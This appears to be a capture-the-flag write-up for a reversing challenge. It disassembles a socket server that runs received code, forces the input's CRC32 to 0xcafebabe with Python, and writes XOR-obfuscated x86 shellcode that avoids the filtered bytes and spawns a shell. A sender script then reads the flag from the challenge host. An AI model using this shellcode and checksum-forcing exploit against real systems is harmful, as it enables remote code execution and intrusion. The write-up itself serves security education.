There is an ELF binary, and we need to get an RCE from it. Shouldn’t this be in the pwn category? Anyway, a quick check with radare2 shows us that the binary accepts incoming socket connections and processes them this way:
[0x080488f0]> pdf @ sym._Z7handleri
; CODE (CALL) XREF from 0x08048db5 (unk)
; handler(int)
/ (fcn) fcn.08048eb2 283
| ;-- sym._Z7handleri:
| 0x08048eb2 55 push ebp
| 0x08048eb3 89e5 mov ebp, esp
| 0x08048eb5 83ec38 sub esp, 0x38
| 0x08048eb8 c745e800000. mov dword [ebp-0x18], 0x0
| 0x08048ebf c70424e8030. mov dword [esp], 0x3e8
| 0x08048ec6 e8b5f9ffff call 0x108048880 ; (sym.imp.setuid)
| sym.imp.setuid(unk)
| 0x08048ecb c70424e8030. mov dword [esp], 0x3e8
| 0x08048ed2 e859f8ffff call 0x108048730 ; (sym.imp.seteuid)
| sym.imp.seteuid()
| 0x08048ed7 c70424e8030. mov dword [esp], 0x3e8
| 0x08048ede e89df8ffff call 0x108048780 ; (sym.imp.setgid)
| sym.imp.setgid()
| 0x08048ee3 c70424e8030. mov dword [esp], 0x3e8
| 0x08048eea e841f9ffff call 0x108048830 ; (sym.imp.setegid)
| sym.imp.setegid()
| 0x08048eef c744240c000. mov dword [esp+0xc], 0x0
| 0x08048ef7 c7442408040. mov dword [esp+0x8], 0x4
| 0x08048eff 8d45e8 lea eax, [ebp-0x18]
| 0x08048f02 89442404 mov [esp+0x4], eax
| 0x08048f06 8b4508 mov eax, [ebp+0x8]
| 0x08048f09 890424 mov [esp], eax
| 0x08048f0c e8bff9ffff call 0x1080488d0 ; (sym.imp.recv)
| sym.imp.recv()
| 0x08048f11 8945ec mov [ebp-0x14], eax
| 0x08048f14 837dec04 cmp dword [ebp-0x14], 0x4
| ,=< 0x08048f18 750a jnz 0x8048f24
| | 0x08048f1a 8b45e8 mov eax, [ebp-0x18]
| | 0x08048f1d 3dc8000000 cmp eax, 0xc8
| ,==< 0x08048f22 7605 jbe 0x8048f29
| ,=`-> 0x08048f24 e9a2000000 jmp 0x8048fcb ; (fcn.08048eb2)
| |`--> 0x08048f29 8b45e8 mov eax, [ebp-0x18]
| | 0x08048f2c c7442414000. mov dword [esp+0x14], 0x0
| | 0x08048f34 c7442410fff. mov dword [esp+0x10], 0xffffffff
| | 0x08048f3c c744240c210. mov dword [esp+0xc], 0x21
| | 0x08048f44 c7442408070. mov dword [esp+0x8], 0x7
| | 0x08048f4c 89442404 mov [esp+0x4], eax
| | 0x08048f50 c7042400000. mov dword [esp], 0x0
| | 0x08048f57 e864f8ffff call 0x1080487c0 ; (sym.imp.mmap)
| | sym.imp.mmap()
| | 0x08048f5c 8945f0 mov [ebp-0x10], eax
| | 0x08048f5f 8b45e8 mov eax, [ebp-0x18]
| | 0x08048f62 c744240c000. mov dword [esp+0xc], 0x0
| | 0x08048f6a 89442408 mov [esp+0x8], eax
| | 0x08048f6e 8b45f0 mov eax, [ebp-0x10]
| | 0x08048f71 89442404 mov [esp+0x4], eax
| | 0x08048f75 8b4508 mov eax, [ebp+0x8]
| | 0x08048f78 890424 mov [esp], eax
| | 0x08048f7b e850f9ffff call 0x1080488d0 ; (sym.imp.recv)
| | sym.imp.recv()
| | 0x08048f80 8945ec mov [ebp-0x14], eax
| | 0x08048f83 8b45e8 mov eax, [ebp-0x18]
| | 0x08048f86 89442408 mov [esp+0x8], eax
| | 0x08048f8a 8b45f0 mov eax, [ebp-0x10]
| | 0x08048f8d 89442404 mov [esp+0x4], eax
| | 0x08048f91 c7042400000. mov dword [esp], 0x0
| | 0x08048f98 e850feffff call 0x108048ded ; (sym._Z5crc32jPcj)
| | sym._Z5crc32jPcj()
| | 0x08048f9d 8945f4 mov [ebp-0xc], eax
| | 0x08048fa0 817df4bebaf. cmp dword [ebp-0xc], 0xcafebabe
| ,====< 0x08048fa7 7402 jz 0x8048fab
| ,=====< 0x08048fa9 eb20 jmp 0x8048fcb ; (fcn.08048eb2)
| |`----> 0x08048fab 8b45e8 mov eax, [ebp-0x18]
| | | 0x08048fae 89442404 mov [esp+0x4], eax
| | | 0x08048fb2 8b45f0 mov eax, [ebp-0x10]
| | | 0x08048fb5 890424 mov [esp], eax
| | | 0x08048fb8 e881feffff call 0x108048e3e ; (fcn.08048e3e)
| | | fcn.08048e3e() ; sym._Z6filterPci
| | | 0x08048fbd 83f001 xor eax, 0x1
| | | 0x08048fc0 84c0 test al, al
| ,======< 0x08048fc2 7402 jz 0x8048fc6
| || | 0x08048fc4 eb05 jmp 0x8048fcb ; (fcn.08048eb2)
| `------> 0x08048fc6 8b45f0 mov eax, [ebp-0x10]
| | | 0x08048fc9 ffd0 call eax
| | | 0x00000000()
| | | ; CODE (CALL) XREF from 0x08048f24 (fcn.08048eb2)
| | | ; CODE (CALL) XREF from 0x08048fc4 (fcn.08048eb2)
| | | ; CODE (CALL) XREF from 0x08048fa9 (fcn.08048eb2)
| `-`---> 0x08048fcb c9 leave
\ 0x08048fcc c3 ret
Basically, it performs setuid/setgid to 1000, then attempts to receive up to 4 bytes from the socket(closing the connection if it can’t) and interprets them as the length of the incoming input, also making sure its value doesn’t exceed 0xc8
(i.e. 200), then mmaps a buffer of that length to allow code execution, receives the input and checks if its CRC32 equals 0xcafebabe
. If it does, sym._Z6filetrPci
is called:
[0x080488f0]> pdf @ sym._Z6filterPci
; CODE (CALL) XREF from 0x08048fb8 (fcn.08048eb2)
; filter(char*, int)
/ (fcn) fcn.08048e3e 116
| ;-- sym._Z6filterPci:
| 0x08048e3e 55 push ebp
| 0x08048e3f 89e5 mov ebp, esp
| 0x08048e41 83ec10 sub esp, 0x10
| 0x08048e44 c745fc00000. mov dword [ebp-0x4], 0x0
| ,=< 0x08048e4b eb56 jmp 0x8048ea3 ; (fcn.08048e3e)
| | 0x08048e4d 8b55fc mov edx, [ebp-0x4]
| | 0x08048e50 8b4508 mov eax, [ebp+0x8]
| | 0x08048e53 01d0 add eax, edx
| | 0x08048e55 0fb600 movzx eax, byte [eax]
| | 0x08048e58 3c01 cmp al, 0x1
| ,==< 0x08048e5a 743c jz 0x8048e98
| || 0x08048e5c 8b55fc mov edx, [ebp-0x4]
| || 0x08048e5f 8b4508 mov eax, [ebp+0x8]
| || 0x08048e62 01d0 add eax, edx
| || 0x08048e64 0fb600 movzx eax, byte [eax]
| || 0x08048e67 84c0 test al, al
| ,===< 0x08048e69 742d jz 0x8048e98
| ||| 0x08048e6b 8b55fc mov edx, [ebp-0x4]
| ||| 0x08048e6e 8b4508 mov eax, [ebp+0x8]
| ||| 0x08048e71 01d0 add eax, edx
| ||| 0x08048e73 0fb600 movzx eax, byte [eax]
| ||| 0x08048e76 3c2f cmp al, 0x2f
| ,====< 0x08048e78 741e jz 0x8048e98
| |||| 0x08048e7a 8b55fc mov edx, [ebp-0x4]
| |||| 0x08048e7d 8b4508 mov eax, [ebp+0x8]
| |||| 0x08048e80 01d0 add eax, edx
| |||| 0x08048e82 0fb600 movzx eax, byte [eax]
| |||| 0x08048e85 3c73 cmp al, 0x73
| ,=====< 0x08048e87 740f jz 0x8048e98
| ||||| 0x08048e89 8b55fc mov edx, [ebp-0x4]
| ||||| 0x08048e8c 8b4508 mov eax, [ebp+0x8]
| ||||| 0x08048e8f 01d0 add eax, edx
| ||||| 0x08048e91 0fb600 movzx eax, byte [eax]
| ||||| 0x08048e94 3c68 cmp al, 0x68
| ,======< 0x08048e96 7507 jnz 0x8048e9f
| |````--> 0x08048e98 b800000000 mov eax, 0x0
| ,=======< 0x08048e9d eb11 jmp 0x8048eb0 ; (fcn.08048e3e)
| |`------> 0x08048e9f 8345fc01 add dword [ebp-0x4], 0x1
| | | ; CODE (CALL) XREF from 0x08048e4b (fcn.08048e3e)
| | `-> 0x08048ea3 8b45fc mov eax, [ebp-0x4]
| | 0x08048ea6 3b450c cmp eax, [ebp+0xc]
| | 0x08048ea9 7ca2 jl 0x108048e4d
| | 0x08048eab b801000000 mov eax, 0x1
| | ; CODE (CALL) XREF from 0x08048e9d (fcn.08048e3e)
| `-------> 0x08048eb0 c9 leave
\ 0x08048eb1 c3 ret
This simply checks if there’s any 00
, 01
, 2f
, 73
or 68
among the received bytes (that is, ‘/’, ’s’ or ‘h’) and if there is, returns 1. If 0 is returned, the handler function will call the received data.
This means there’s two parts to this challenge: we need a shellcode that will have a CRC32 of 0xcafebabe
and won’t have any of the aforementioned bytes in it. We’ll set aside the latter problem at the moment, and the former one would require some checksum forcing. Luckily, there is an article that neatly describes the technique to do that efficiently, changing four bytes of the given data to fit any checksum, and even provides us with a battle-ready python script. So let’s repurpose some of its parts to suit our needs:
from forcecrc32 import multiply_mod, reciprocal_mod, pow_mod, reverse32, MASK
import zlib
def get_crc32(s):
crc = zlib.crc32(s, 0)
return reverse32(crc & MASK)
def get_delta(s, target):
delta = get_crc32(s) ^ target # expects a reversed value
return multiply_mod(reciprocal_mod(pow_mod(2, 32)), delta)
def force_crc32(s, target):
s += '\x00' * 4
delta = get_delta(s, reverse32(target))
forced = bytearray(s[-4:])
for i in range(4):
forced[i] ^= (reverse32(delta) >> (i * 8)) & 0xFF
return str(s[:-4] + forced)
Let’s check it:
...
test_payload = force_crc32("gimmecrc", 0xcafebabe)
print hex(zlib.crc32(test_payload,0) & 0xffffffff)
print test_payload[:-4]
print test_payload[-4:].encode('hex')
tr@karabut.com:~/work/hackyouctf16/rev300$ python generate_payload.py
0xcafebabe
gimmecrc
7ef30841
Alright, it works! Now we can use any shellcode we wish, provided its length doesn’t exceed 196 bytes (4 being reserved for the forced checksum) and it doesn’t contain any of the forbidden bytes. We can easily avoid using ‘/sh’ in our payload by xoring it with whatever we want, and we can replace any usual push dword
instruction we need (its opcode is, unfortunately, 68
) with, say, a mov edi dword; push edi
combination. We’ll also need to dup2 the socket descriptor our connection gets to 0, 1 and 2, of course, and knowing it was located at [ebp+0x8]
, or [esp+0x40]
, in the handler function, we can predict that it would end up at [esp+0x44]
when our code gets called. So this should get us the shell:
0: 8b 5c 24 44 mov ebx,DWORD PTR [esp+0x44] ; the socket descriptor
4: 31 c9 xor ecx,ecx
6: 6a 3f push 0x3f
8: 58 pop eax
9: cd 80 int 0x80 ; dup2(fd, 0)
b: 41 inc ecx
c: 6a 3f push 0x3f
e: 58 pop eax
f: cd 80 int 0x80 ; dup2(fd, 1)
11: 41 inc ecx
12: 6a 3f push 0x3f
14: 58 pop eax
15: cd 80 int 0x80 ; dup2(fd, 2)
17: 41 inc ecx
18: 6a 0b push 0xb
1a: 58 pop eax
1b: 99 cdq
1c: 52 push edx
1d: bf 0f 0f 53 48 mov edi,0x48530f0f ;
22: 81 f7 20 20 20 20 xor edi,0x20202020 ;
28: 57 push edi ;
29: bf 0f 42 49 4e mov edi,0x4e49420f ;
2e: 81 f7 20 20 20 20 xor edi,0x20202020 ;
34: 57 push edi ; get /bin//sh on the stack
35: 89 e3 mov ebx,esp
37: 31 c9 xor ecx,ecx
39: cd 80 int 0x80 ; execve /bin/sh
The shellcode’s only 58 bytes long, and there’s no restricted bytes in it, but we also need to be sure we don’t get them in the four bytes we force to fit the checksum:
...
payload = "\x8b\x5c\x24\x44\x31\xC9\x6A\x3F\x58\xCD\x80\x41\x6A\x3F\x58\xCD\x80\x41\x6A\x3F\x58\xCD\x80\x41\x6A\x0B\x58\x99\x52\xBF\x0F\x0F\x53\x48\x81\xF7\x20\x20\x20\x20\x57\xBF\x0F\x42\x49\x4E\x81\xF7\x20\x20\x20\x20\x57\x89\xE3\x31\xC9\xCD\x80"
payload = force_crc32(payload, 0xcafebabe)
print payload.encode('hex')
print any(x in '\x00\x01/sh' for x in payload)
tr@karabut.com:~/work/hackyouctf16/rev300$ python generate_payload.py
8b5c244431c96a3f58cd80416a3f58cd80416a3f58cd80416a0b589952bf0f0f534881f72020202057bf0f42494e81f7202020205789e331c9cd80
False
It’s fine, so all that’s left is to pwn the actual server:
import socket
import struct
payload = '8b5c244431c96a3f58cd80416a3f58cd80416a3f58cd80416a0b589952bf0f0f534881f72020202057bf0f42494e81f7202020205789e331c9cd80'.decode('hex')
s = socket.socket()
s.connect(('78.46.101.237', 3177))
s.send(struct.pack('<I', len(test_payload)))
s.send(payload)
s.send("ls\n")
print s.recv(1024)
tr@karabut.com:~/work/hackyouctf16/rev300$ python send_payload.py
Makefile
flag
log.txt
rev300
rev300.cpp
run
...
s.send("cat flag\n")
print s.recv(1024)
tr@karabut.com:~/work/hackyouctf16/rev300$ python send_payload.py
STUDY_HACK_BINARY_AND_BE_HAPPY